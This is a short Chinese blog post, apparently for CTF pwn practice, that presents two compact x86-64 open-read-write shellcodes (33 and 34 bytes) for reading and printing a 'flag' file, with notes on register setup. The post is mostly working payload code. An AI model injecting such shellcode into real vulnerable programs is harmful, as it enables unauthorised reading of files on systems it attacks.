PWN ORW 最短的shellcode 33字节!

前言:用之前需要先用shellcode2判断一下rdx是否满足,如果第二个call(read)能读入成功,说明rax满足,能直接用shellcode2。否则改用shellcode1

rdx 就是read(1,buf,n)中的n,这个值太大或者太小都没办法正常读,小了读不完整,大了会覆盖到不可写区域导致写入失败。所以分两种情况:

orw shellcode1:(64bit,34字节,针对需要调整rdx的情况:)

shellcode = asm(''' 
mov edx,0x67616c66  #写文件名的同时置rdx为合法值
push rdx    
mov rdi,rsp
xor esi,esi   #如果本来rsi=0,可以删掉这句
mov eax,2
syscall
mov edi,eax
mov rsi,rsp
xor eax,eax
syscall  #read(0,buf,n)
xor edi,2  #打开文件默认从3开始,3 xor 2 = 1。如果不是的话需要自己算一下操作数
mov eax,edi
syscall   #write(1,buf,n)
''')

orw shellcode2:(64bit,33字节,针对rdx已满足的情况)

shellcode = asm(''' 
push 0x67616c66
mov rdi,rsp
xor esi,esi  #如果本来rsi=0,可以删掉这句
mov eax,2
syscall
mov edi,eax
mov rsi,rsp
xor eax,eax
syscall
xor edi,2  #打开文件默认从3开始,3 xor 2 = 1。如果不是的话需要自己算一下操作数,保证rdi=1即可
mov eax,edi
syscall   #write(1,buf,n)
''')

  

posted @ 2022-12-14 19:19  omegablank  阅读(675)  评论(0编辑  收藏  举报